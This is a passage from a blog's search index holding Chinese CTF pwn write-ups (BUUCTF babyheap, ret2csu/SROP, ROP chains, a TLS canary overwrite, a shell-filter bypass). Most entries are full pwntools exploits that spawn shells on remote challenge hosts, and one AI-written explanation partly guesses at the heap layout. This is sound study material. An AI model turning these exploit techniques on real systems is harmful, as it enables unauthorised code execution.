p.sendlineafter(b\u0026#39;Index:\u0026#39;,str(index)) alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x80) free(1) free(2) payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80) fill(0,len(payload),payload) payload=p64(0)*3+p64(0x21) fill(3,len(payload),payload) alloc(0x10) alloc(0x10) payload=p64(0)*3+p64(0x91) fill(3,len(payload),payload) alloc(0x80) free(4) dump(2) mainarena88=u64(p.recvuntil(b\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8,b\u0026#39;\\x00\u0026#39;)) mainarena=mainarena88-88 malloc_hook=mainarena-0x10 libc=LibcSearcher(\u0026#39;__malloc_hook\u0026#39;,malloc_hook) libcbase=malloc_hook-libc.dump(\u0026#39;__malloc_hook\u0026#39;) alloc(0x60) free(4) payload=p64(malloc_hook-35) fill(2,len(payload),payload) alloc(0x60) alloc(0x60) system=libcbase+0x4526a payload=p64(0)*2+p8(0)*3+p64(system) fill(6,len(payload),payload) alloc(1) p.interactive() exp2: from pwn import * from LibcSearcher import * context.log_level=\u0026#39;debug\u0026#39; context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;,log_level=\u0026#39;debug\u0026#39;) # p = process(\u0026#39;./babyheap\u0026#39;) p=remote(\u0026#39;node4.buuoj.cn\u0026#39;,27874) elf = ELF(\u0026#39;./babyheap\u0026#39;) libc = ELF(\u0026#39;./libc-2.23.so\u0026#39;) def dbg(): gdb.attach(p) pause() def add(size): p.sendlineafter(\u0026#34;Command: \u0026#34;,str(1)) p.sendlineafter(\u0026#34;Size: \u0026#34;,str(size)) def edit(index, content): p.sendlineafter(\u0026#34;Command: \u0026#34;,str(2)) p.sendlineafter(\u0026#34;Index: \u0026#34;,str(index)) p.sendlineafter(\u0026#34;Size: \u0026#34;,str(len(content))) p.sendafter(\u0026#34;Content: \u0026#34;,content) def free(index): p.sendlineafter(\u0026#34;Command: \u0026#34;,str(3)) p.sendlineafter(\u0026#34;Index: \u0026#34;,str(index)) def show(index): p.sendlineafter(\u0026#34;Command: \u0026#34;,str(4)) p.sendlineafter(\u0026#34;Index: \u0026#34;,str(index)) add(0x10) #0 add(0x10) #1 add(0x10) #2 add(0x10) #3 add(0x80) #4 free(1) free(2) payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80) edit(0,payload) payload=p64(0)*3+p64(0x21) edit(3,payload) add(0x10) #4 2 add(0x10) #2 1 payload=p64(0)*3+p64(0x91) edit(3,payload) add(0x80) #5 free(4) show(2) malloc_hook=u64(p.recvuntil(b\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8,b\u0026#39;\\x00\u0026#39;))-88-0x10 print(hex(malloc_hook)) base=malloc_hook-libc.symbols[\u0026#39;__malloc_hook\u0026#39;] print(hex(base)) system=0x4526a+base add(0x60) #4 free(4) payload=p64(0)*3+p64(0x71)+p64(malloc_hook-0x23) edit(3,payload) add(0x60) #4 add(0x60) #6 payload=0x13*b\u0026#39;a\u0026#39;+p64(system) edit(6,payload) add(0x20) # dbg() p.interactive() 堆简单的利用： 首先申请几个堆块，比方说5个。 free第二第三个chunk，在第一个chunk中存数据完成UAF，更改第三个chunk的fd指向第四个chunk。 再次申请两个chunk，也就是重新申请第二第三个chunk。 再free第四个chunk。此时dump第二个chunk拿到第四个chunk的fd，以此搞到libc_base. 借libc_base和malloc_hook获取shell（这部分有点神秘，没见binsh，一个system到底是怎么搞到shell的）\n补上实践的过程。 如果不加add（80）确实会和topchunk合并 Pasted image 20260407201547.png\n实操时libc版本还是libcsearcher比较稳定。 ","date":"April 15, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-2/2-2-2/wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776211200,"title":"wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"main函数如下：\nint __cdecl main(int argc, const char **argv, const char **envp) { time_t v3; // eax char s2[11]; // [esp+1Dh] [ebp-13h] BYREF int v6; // [esp+28h] [ebp-8h] int i; // [esp+2Ch] [ebp-4h] v6 = 10; puts(\u0026#34;\\n\\n\\n------Test Your Memory!-------\\n\u0026#34;); v3 = time(0); srand(v3); for ( i = 0; i \u0026lt; v6; ++i ) s2[i] = alphanum_2626[rand() % 0x3Eu]; printf(\u0026#34;%s\u0026#34;, s2); mem_test(s2); return 0; } main函数生成了一个随机的十位的字符串s2，接下来看mem_test\nint __cdecl mem_test(char *s2) { char s[19]; // [esp+15h] [ebp-13h] BYREF memset(s, 0, 0xBu); puts(\u0026#34;\\nwhat???? : \u0026#34;); printf(\u0026#34;0x%x \\n\u0026#34;, hint); puts(\u0026#34;cff flag go go go ...\\n\u0026#34;); printf(\u0026#34;\u0026gt; \u0026#34;); __isoc99_scanf(\u0026#34;%s\u0026#34;, s); if ( !strncmp(s, s2, 4u) ) return puts(\u0026#34;good job!!\\n\u0026#34;); else return puts(\u0026#34;cff flag is failed!!\\n\u0026#34;); } 比较s和s2的前四位，并且在__isoc99_scanf(\u0026quot;%s\u0026quot;, s);处就存在了栈溢出，\nint __cdecl win_func(char *command) { return system(command); } Pasted image 20260414135214.png 还把什么都给了出来，一个简单的payload过了\npayload = b\u0026#39;A\u0026#39; * (0x13 + 0x04) + p32(win_func) + p32(0xDEADBEEF) + P32(cat_flag) ","date":"April 15, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-2/2-2-4/wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776211200,"title":"wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"第一种方式常规exp1 通过填满栈来溢出，将getflag函数塞到返回地址里面\n调用get_flag(arg1)时，系统会先把arg1放进最后一个格子，再放 “执行完要跳回的地址（exit）”，最后跳去执行get_flag； 我们构造 payload，就是手动模拟这个 “放参数→放返回地址” 的过程，只不过是通过溢出把这些内容 “填” 到对应的格子里。 payload = 填充字节(offset) + get_flag函数地址 + exit函数地址 + get_flag的参数(可选) 之后函数需要参数时都应放在返回地址之后 第二种方式exp2 有一个函数mprotect ssize_t read(int fd, void _buf, size_t count);\nfd 设为0时就可以从输入端读取内容\nbuf 设为我们想要执行的内存地址\nsize 适当大小就可以\npayload1= b\u0026quot;A\u0026quot;_0x38+p32(mprotect地址，跳转到函数执行)+p32(gadget，mprotect需要三个参数，我们可以查找合适的gadget)+p32(memaddr，被修改的内存地址)+p32(0x100，被修改的内存大小)+p32(0x7，内存权限rwx，二进制111，也就是7)+p32(read，返回到read函数地址)+p32(memaddr，read函数的返回地址)+p32(0，read函数的参数1)+p32(memaddr，read函数的参数2)+p32(0x100，read函数的参数3)+p32(memaddr，指向修改的内存地址)\n最后 payload = asm(shellcraft.sh())\nprint(payload)\np.sendline(payload) 拿shell\n","date":"April 14, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/buuctf-pwn12-get_started_3dsctf_2016/wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776124800,"title":"wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"这道题的设置是比较简单的，一个显而易见的gets()overflow，但是找不到pop rdi，又不能让自己受着，请出ROPgadget大人杀死比赛。\nROPgadget --bianry rop --ropchain 在cpu的一阵运算下得到了这个：\n#!/usr/bin/env python3 # execve generated by ROPgadget from struct import pack # Padding goes here p = b\u0026#39;\u0026#39; p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0806ecda) # pop edx ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080ea060) # @ .data p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080b8016) # pop eax ; ret p += b\u0026#39;/bin\u0026#39; p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0806ecda) # pop edx ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080ea064) # @ .data + 4 p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080b8016) # pop eax ; ret p += b\u0026#39;//sh\u0026#39; p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0806ecda) # pop edx ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080ea068) # @ .data + 8 p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080492d3) # xor eax, eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080481c9) # pop ebx ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080ea060) # @ .data p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080de769) # pop ecx ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080ea068) # @ .data + 8 p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0806ecda) # pop edx ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080ea068) # @ .data + 8 p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080492d3) # xor eax, eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807a66f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807a66f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807a66f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807a66f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807a66f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807a66f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807a66f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807a66f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807a66f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807a66f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807a66f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0806c943) # int 0x80 给偏移0x0c+4填到开始前的地方，直接就秒了 不过这么做应该也是有局限的，实在是没办法了可以试一下\n","date":"April 14, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-2/2-2-3/wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776124800,"title":"wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"结合笔记里写到的csu部分配合srop食用\n__unwind { push rbp mov rbp, rsp xor rax, rax mov edx, 400h ; count lea rsi, [rsp+buf] ; buf mov rdi, rax ; fd syscall ; LINUX - sys_read mov rax, 1 mov edx, 30h ; \u0026#39;0\u0026#39; ; count lea rsi, [rsp+buf] ; buf mov rdi, rax ; fd syscall ; LINUX - sys_write retn 主函数的结尾只有一个retn没有leave，此处函数运行结束的时候rsp是停在==saved_registers==上的而不是平时的return_address。\n+0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address; 结合ret2csu read可以写入我们所需要的部分 write可以输出需要的地址等 看汇编能找到 00000000004004E2 mov rax, 3Bh ; 核心的rop链构造：（1）借read传入我们需要的字符串，再利用pop6传入寄存器的参数，完成需要的操作。（2）popcall让值转到寄存器上（3）向rax传参（4）将前面存入栈的字符串存入rdi中（5）syscall完成操作\nb\u0026#39;/bin/sh\\x00\u0026#39; + b\u0026#39;b\u0026#39; * 8 + p64(pop6) + p64(0) + p64(1) + p64(bin_sh_interger) + p64(0) + p64(0) + p64(0) + p64(ropcall) + p64(mov_rax) + p64(pop_rdi) + p64(buf) + p64(syscall) 这里缺少的（1）存入的字符串在内存上的位置（2）栈溢出 首先进行栈溢出b\u0026rsquo;a\u0026rsquo; * 10 + p64(vuln) 再查找字符串在内存中的位置，网上的脚本是这么写的，但跑不起来，以后再补上动调的部分。\nfrom pwn import * r = process(\u0026#39;./ciscn_s_3\u0026#39;) vuln_addr = 0x4004ED payload = b\u0026#39;/bin/sh\\x00\u0026#39; + b\u0026#34;A\u0026#34; * 8 + p64(vuln_addr) r.send(payload) break_addr = 0x400503 gdb_script = f\u0026#34;\u0026#34;\u0026#34; b *{break_addr} c \u0026#34;\u0026#34;\u0026#34; gdb.attach(r, gdbscript=gdb_script) pause() r.interactive() 结论是：\n好了，现在我们有了输入位置0x7fff1c0a8c50 还有rsi中存储的信息（后续我们可以通过write泄露此信息）：0x7fff1c0a8d68 他们之间的差值为0x118，差值不受到ASLR的影响，因此我们可以直接在写入位置构造我们的“/bin/sh”，然后明确指定该字符串所在的地址 得到最后的exp\nfrom pwn import * p = remote(\u0026#34;node5.buuoj.cn\u0026#34;,28446) file=\u0026#39;./ciscn_s_3\u0026#39; elf = ELF(file) return_func = 0x04004ED mov_rax = 0x4004E2 syscall = 0x400501 pop6 = 0x40059A ropcall = 0x400580 pop_rdi = 0x04005a3 ret = 0x04003a9 payload = b\u0026#39;b\u0026#39; * 0x10 + p64(return_func) p.sendline(payload) buf = u64(p.recv()[32:40]) - 0x118 #之后再说 payload = b\u0026#39;/bin/sh\\x00\u0026#39; + b\u0026#39;b\u0026#39; * 8 + p64(pop6) + p64(0) + p64(1) + p64(buf+0x58) + p64(0) + p64(0) + p64(0) + p64(ropcall) + p64(mov_rax) + p64(pop_rdi) + p64(buf) + p64(syscall) #为什么是p64(buf+0x58)见链接 p.sendline(payload) p.interactive() ROP链参数设置详解.pdf\n","date":"April 14, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/ciscn_s_3/wpcsusrop/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776124800,"title":"wp——csu\u0026srop"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":" 前置知识 canary防御措施与其绕过 ret2libc 栈迁移（可用）\n整体思路 题目非常简单粗暴，主要逻辑是在一个子线程中实现的。首先输入要输入的长度，然后再输入payload，且长度可以非常大。因此，要进行栈溢出的唯一难点就在canary，而canary是位于fs寄存器 中的，也就是TLS结构体的一个偏移。在子线程中，tls结构体在栈中的偏移是固定的，可以在gdb中通过p/x *(tcbhead_t*)(pthread_self())方式来查看tls结构体的值。其中stack_guard就是canary的值，校验canary时会取出这个值和栈中的canary进行校验，==因此覆盖这个值为想要的值即可==。可以在gdb通过p/x \u0026amp;(*(tcbhead_t*)(pthread_self())).stack_guard来查看其地址。 此外，在ret2libc过程中我没有回到函数起始位置，而是布置了一个read函数来读取数据到可读写段再栈迁移，这是由于回到函数起始位置的方式难以调试。\n在这里补充一下如何覆盖canary的值： TSL覆盖canary的值\nexp from pwn import * from LibcSearcher import * filename = \u0026#39;./bs\u0026#39; context(log_level=\u0026#39;debug\u0026#39;) local = 0 elf = ELF(filename) libc = ELF(\u0026#39;/glibc/2.27-3ubuntu1_amd64/libc.so.6\u0026#39;) if local: sh = process(filename) else: sh = remote(\u0026#39;node4.buuoj.cn\u0026#39;, 28009) def debug(): pid = util.proc.pidof(sh)[0] gdb.attach(pid) pause() def leak_info(name, addr): success(\u0026#39;{} =\u0026gt; {}\u0026#39;.format(name, hex(addr))) pop_rdi = 0x400c03 pop_rsi_r15 = 0x400c01 leave_ret = 0x400955 sh.recv() sh.sendline(str(0x1848 + 0x8)) fake_rbp = 0x602100 payload = b\u0026#39;a\u0026#39;*0x1010 + p64(fake_rbp) + p64(pop_rdi) + p64(elf.got[\u0026#39;puts\u0026#39;]) + p64(elf.plt[\u0026#39;puts\u0026#39;]) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(fake_rbp) + p64(0xdeadbeaf) + p64(elf.plt[\u0026#39;read\u0026#39;]) + p64(leave_ret) payload = payload.ljust(0x1848+8, b\u0026#39;a\u0026#39;) sh.send(payload) sh.recvuntil(\u0026#39;It\\\u0026#39;s time to say goodbye.\\n\u0026#39;, drop=False) puts_leak = u64(sh.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) leak_info(\u0026#39;puts_leak\u0026#39;, puts_leak) libc.address = puts_leak - 0x809c0 leak_info(\u0026#39;libc.address\u0026#39;, libc.address) system_addr = libc.sym[\u0026#39;system\u0026#39;] str_bin_sh = next(libc.search(b\u0026#39;/bin/sh\\x00\u0026#39;)) one_gadget = [0x4f2c5, 0x4f322, 0x10a38c] payload = p64(0xdeadbeaf) + p64(one_gadget[1] + libc.address) +p64(0xdeadbeaf) # payload = p64(0xdeadbeaf) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr) +p64(0xdeadbeaf) leak_info(\u0026#39;system\u0026#39;, system_addr) leak_info(\u0026#39;str_bin_sh\u0026#39;, str_bin_sh) # debug() sh.send(payload) sh.interactive() # debug() ———————————————— 版权声明：本文为CSDN博主「LtfallQwQ」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。 原文链接：https://blog.csdn.net/xy1458214551/article/details/134693395\n","date":"April 14, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E5%85%AD%E9%A1%B5/starctf2018_babystack/wp3/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776124800,"title":"wp3"},{"categories":[{"title":"比赛","url":"/categories/%E6%AF%94%E8%B5%9B/"}],"content":"输入/bin/sh 再ls，cat flag\n上面是个意外\ncat${IFS}flag cat\u0026lt;flag ","date":"April 14, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/contest-2026/wp3-%E7%BB%95%E7%A9%BA%E6%A0%BC/","smallImg":"","tags":[{"title":"2026校赛","url":"/tags/2026%E6%A0%A1%E8%B5%9B/"}],"timestamp":1776124800,"title":"wp3-绕空格"},{"categories":[{"title":"比赛","url":"/categories/%E6%AF%94%E8%B5%9B/"}],"content":"原题 360chunqiu2017_smallest 360chunqiu2017_smallest 首先是明显的栈溢出，而且是直接写到retaddr里的，因为没有libc，没有gadget可 以用，所以用write系统调用泄露栈地址 srop实际上是内核向进程发送signal信号后，程序陷入内核态，此时进程上下文被 保存到了用户态的栈空间，并在内核态恢复至用户态时将栈上的寄存器值恢复，如 果这个过程中可以伪造栈上的寄存器值，就可以控制恢复时的寄存器值，而不依赖 pop rdi一类的gadget，从而实现任意系统调用 数据发送过快会有bug，sleep就完了 学有余力可以查阅文章SROP - CTF Wiki和360chunqiu2017_smallest —— 从例 题理解SROP自己研究学习，这里给个exp：\nfrom pwn import * from LibcSearcher import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 import base64 context(log_level=\u0026#39;debug\u0026#39;,terminal = [\u0026#34;tmux\u0026#34;, \u0026#34;splitw\u0026#34;, \u0026#34;-h\u0026#34;],arch = \u0026#39;amd64\u0026#39;,os = \u0026#39;linux\u0026#39;) def proof_of_work(sh): sh.recvuntil(\u0026#34; == \u0026#34;) cipher = sh.recvline().strip().decode(\u0026#34;utf8\u0026#34;) proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method=\u0026#39;fixed\u0026#39;) sh.sendlineafter(\u0026#34;input your ????\u0026gt;\u0026#34;, proof) start=0x4000B0 syscall_ret=0x4000BE # io=process(\u0026#39;./pwn\u0026#39;) io=remote(\u0026#34;nc1.ctfplus.cn\u0026#34;,14059) pd=p64(start)*3 io.send(pd) sleep(1) io.send(b\u0026#39;\\xb3\u0026#39;) sleep(1) io.recv(8) stack=u64(io.recv(8)) log.success(\u0026#39;stack:\u0026#39;+hex(stack)) sig=SigreturnFrame() sig.rax = constants.SYS_read sig.rdi = 0 sig.rsi = stack sig.rdx = 0x400 sig.rsp = stack sig.rip = syscall_ret pd=p64(start)+b\u0026#39;a\u0026#39;*8+bytes(sig) io.send(pd) sleep(1) pd=p64(syscall_ret)+b\u0026#39;a\u0026#39;*7 io.send(pd) sleep(1) sig=SigreturnFrame() sig.rax = constants.SYS_execve sig.rdi = stack+0x120 sig.rsi = 0 sig.rdx = 0 sig.rsp = stack sig.rip = syscall_ret pd=p64(start)+b\u0026#39;b\u0026#39;*8+bytes(sig) l=len(pd) pd+=(0x120-l)*b\u0026#39;\\x00\u0026#39;+b\u0026#39;/bin/sh\\x00\u0026#39; sleep(2) io.send(pd) sleep(2) pd=p64(syscall_ret)+b\u0026#39;b\u0026#39;*7 io.send(pd) sleep(2) io.interactive() ","date":"April 14, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/contest-2026/wp4-srop%E7%9B%B2%E6%B3%A8/","smallImg":"","tags":[{"title":"2026校赛","url":"/tags/2026%E6%A0%A1%E8%B5%9B/"}],"timestamp":1776124800,"title":"wp4--srop盲注"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":" babyheap_0ctf_2017 详细解析 本题是一道经典的堆利用题目，考察 fastbin attack 和 堆溢出漏洞利用，程序开启了全部保护（64位、Canary、NX、PIE、Full RELRO）。以下是完整的解题步骤：\n一、漏洞分析 程序功能：\nAllocate：申请指定大小的堆块（最大0x1000字节） Fill：向堆块写入数据（存在堆溢出漏洞） Free：释放堆块 Dump：输出堆块内容 关键漏洞：\nFill操作未检查写入长度，可覆盖相邻堆块的头部数据（如size字段） 结合堆布局和释放操作可泄露libc地址 通过伪造fastbin chunk劫持__malloc_hook 二、利用步骤 阶段1：泄露libc地址 堆布局：\nalloc(0, 0x10) # chunk0 (用于溢出) alloc(1, 0x10) # chunk1 (目标块) alloc(2, 0x10) # chunk2 (防止合并) alloc(3, 0x80) # chunk3 (用于泄露libc) 释放chunk3：\nfree(3) # 进入unsorted bin，fd/bk指向main_arena+88 溢出修改chunk1的size：\nfill(0, b\u0026#39;A\u0026#39;*0x10 + p64(0) + p64(0x91)) # 覆盖chunk1的size为0x91 修改后chunk1大小变为0x90，包含chunk3的头部 泄露libc地址：\ndump(1) # 输出chunk1内容 leak = u64(p.recv()[0x80:0x88]) # 读取chunk3的fd指针 libc_base = leak - 0x3c4b78 # libc-2.23中main_arena+88的偏移 malloc_hook = libc_base + 0x3c4b10 one_gadget = libc_base + 0x4526a # 示例gadget偏移 阶段2：fastbin attack 恢复堆布局：\nalloc(3, 0x80) # 重新申请chunk3 alloc(4, 0x60) # chunk4 (用于fastbin attack) alloc(5, 0x10) # chunk5 (隔离作用) 准备fastbin链：\nfree(4) # 释放chunk4到fastbin (0x70大小) fill(0, b\u0026#39;A\u0026#39;*0x10 + p64(0) + p64(0x71)) # 修改chunk1的size为0x71 伪造fd指针：\nfake_chunk = malloc_hook - 0x23 # 构造fake chunk (0x7f伪size) payload = b\u0026#39;B\u0026#39;*0x10 + p64(0) + p64(0x71) + p64(fake_chunk) fill(1, payload) # 覆盖chunk4的fd指向fake_chunk 分配伪造块：\nalloc(4, 0x60) # 取出原chunk4 alloc(6, 0x60) # 取出原chunk4的next alloc(7, 0x60) # 分配到fake_chunk (malloc_hook-0x23处) 覆盖__malloc_hook：\nfill(7, b\u0026#39;\\x00\u0026#39;*0x13 + p64(one_gadget)) # 精确覆盖__malloc_hook 阶段3：触发shell alloc(8, 0x10) # 触发malloc执行one_gadget 成功触发后获得shell权限 三、关键技巧 unsorted bin泄露：\n通过修改chunk大小包含已释放块，读取main_arena指针 需用隔离块防止合并（如chunk2） fastbin attack：\n利用0x7f伪size绕过检查（malloc_hook-0x23处） 精确计算libc偏移（需匹配题目环境） 堆布局要点：\nchunk0 [0x20] -\u0026gt; 溢出源 chunk1 [0x20] -\u0026gt; 被修改size chunk2 [0x20] -\u0026gt; 隔离块 chunk3 [0x90] -\u0026gt; 泄露块 四、防护绕过总结 防护机制 绕过方式 PIE/ASLR 通过unsorted bin泄露libc Full RELRO 劫持__malloc_hook而非GOT NX 使用one_gadget执行shellcode 堆完整性检查 伪造精确的size字段和链表指针 : 第一次看到babyheap_0ctf_2017时，完全被它\u0026quot;保护全开\u0026quot;的架势吓到了\u0026hellip; 题目保护状态：Arch: amd64-64-little, RELRO: Full, Stack: Canary, NX: enabled, PIE: enabled 通过堆溢出修改chunk大小实现越界读，是泄露地址的关键 需注意不同libc版本的偏移差异，建议使用题目提供的libc ","date":"April 1, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-2/2-2-2/ai-wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1775001600,"title":"ai wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"这是一个非常经典的 堆利用（Heap Exploitation） 场景，你正在利用 unsorted bin 泄露 libc 地址。我们来详细解释为什么 dump(2) 会泄露 main_arena + 88（即 main_arena88）。\n🔍 背景：unsorted bin 与 main_arena 的关系 在 glibc 的 malloc 实现中：\n当你 free 一个 不是 fastbin 大小（通常 ≥ 0x90 字节，含 chunk header）的 chunk 时，它会被放入 unsorted bin。 unsorted bin 是一个双向循环链表，其头节点（fd 和 bk 指针）就位于 main_arena 结构体内部。 具体来说，main_arena.unsorted_bins[0] 的地址就是 \u0026amp;main_arena + 0x58（在 64 位系统上）。 当 unsorted bin 中只有一个 chunk 时： 该 chunk 的 bk 指针会指向 main_arena + 0x58（即 unsorted bin 的头部）。 而 main_arena + 0x58 距离 main_arena 起始地址偏移为 0x58 = 88 字节。 ✅ 所以：被 free 到 unsorted bin 的 chunk 的 bk 字段 = main_arena + 88\n🧩 你的利用步骤解析 我们一步步看你的代码如何构造出这个泄露：\nalloc(0x10) # chunk0 alloc(0x10) # chunk1 alloc(0x10) # chunk2 alloc(0x10) # chunk3 alloc(0x80) # chunk4 （实际 size=0x90，含 header） 注意：alloc(0x80) 分配的是 0x80 字节用户数据，对应 chunk size 为 0x80 + 0x10 = 0x90（因为有 0x10 字节 header）。\nfree(1) # free chunk1 (size=0x20 → fastbin) free(2) # free chunk2 (size=0x20 → fastbin) → chunk1 和 chunk2 进入 fastbin（不会进 unsorted bin）。\n⚠️ 关键：堆块重叠（overlap）构造 fake chunk payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) fill(0, len(payload), payload) 你在 chunk0 中伪造了两个 fake chunk： 第一个 fake chunk：size=0x21（对应 0x10 用户数据） 第二个 fake chunk：size=0x21 最后一个字节 p8(0x80) 是为了后面 overflow 用（其实是写到 chunk1 的 prev_size） 然后：\npayload = p64(0)*3 + p64(0x21) fill(3, len(payload), payload) 修改 chunk3 的内容，可能是为了清理或防止合并。 🎯 触发 overlap，让 chunk4 被“提前”释放 alloc(0x10) # alloc chunk1 back (from fastbin) alloc(0x10) # alloc chunk2 back → 现在 chunk1 和 chunk2 被重新分配，但它们的内容已被你控制。\n接着：\npayload = p64(0)*3 + p64(0x91) fill(3, len(payload), payload) 你在 chunk3 中伪造了一个 size=0x91 的 chunk header。 此时，如果你 free(chunk4)，glibc 会检查前一个 chunk 是否空闲（通过 PREV_INUSE 位）。 但更重要的是：你可能通过某种方式让 chunk4 被当作一个更大的 chunk 的一部分被释放。 不过更关键的是下一步：\nalloc(0x80) # 再次分配一个 0x80 的 chunk（可能是 chunk5？） free(4) # free 原来的 chunk4（size=0x90） → free(4) 释放了一个 0x90 大小的 chunk，这 大于 fastbin 范围（fastbin 最大 0x80 用户数据，即 size=0x90 含 header 通常是 smallbin/unsorted bin 范围，具体看版本）。\n在大多数 glibc 版本中，size ≥ 0x90（含 header）的 chunk 被 free 时会进入 unsorted bin。\n所以：chunk4 被放入 unsorted bin，它的 fd 和 bk 被写入 main_arena + 88。\n💥 为什么 dump(2) 能读到 main_arena + 88？ 关键在于：你通过堆布局，让 chunk2 和 chunk4 发生了重叠（overlap）！\n回顾：\n你之前 free(1) 和 free(2)，然后通过 fill(0, ...) 在 chunk0 中伪造了 fake chunk。 接着 alloc(0x10) 两次，把 chunk1 和 chunk2 重新拿回来。 但你可能通过溢出（比如在 chunk3 写 0x91）让后续的 free(4) 导致 内存布局错乱，使得 chunk2 的内存区域现在正好覆盖了 chunk4 的 chunk header 或 data 区域。 更可能的情况是：\n你构造了一个 fake chunk 起始于 chunk2 的位置，并且这个 fake chunk 被当作 unsorted bin 中的 chunk。 或者：chunk2 的数据区现在正好是 chunk4 被 free 后的 unsorted bin chunk 的 bk 字段所在位置。 于是：\ndump(2) # 读取 chunk2 的内容 → 返回的数据中包含了 unsorted bin chunk 的 bk 指针，即 main_arena + 88。\n你通过：\nmainarena88 = u64(p.recvuntil(b\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8, b\u0026#39;\\x00\u0026#39;)) 成功提取出这个地址（因为 libc 地址高字节是 0x7f...，所以用 \\x7f 定位）。\n✅ 总结：为什么 dump(2) = main_arena + 88？ 原因 说明 1. chunk4 被 free 到 unsorted bin 因为其 size=0x90，进入 unsorted bin 2. unsorted bin 的 bk 指向 main_arena + 88 这是 glibc 的固定结构（偏移 0x58 = 88） 3. 堆布局导致 chunk2 与 chunk4 重叠 通过 fake chunk 和溢出，使 chunk2 的数据区覆盖了 chunk4 的 metadata 或 data 4. dump(2) 读取了 chunk2 的内容 实际读到了 chunk4 的 bk 字段 → main_arena + 88 🔒 补充：main_arena + 88 是什么？ 在 glibc 源码中（64 位）：\nstruct malloc_state { /* ... */ malloc_chunk* top; malloc_chunk* last_remainder; mchunkptr bins[NBINS 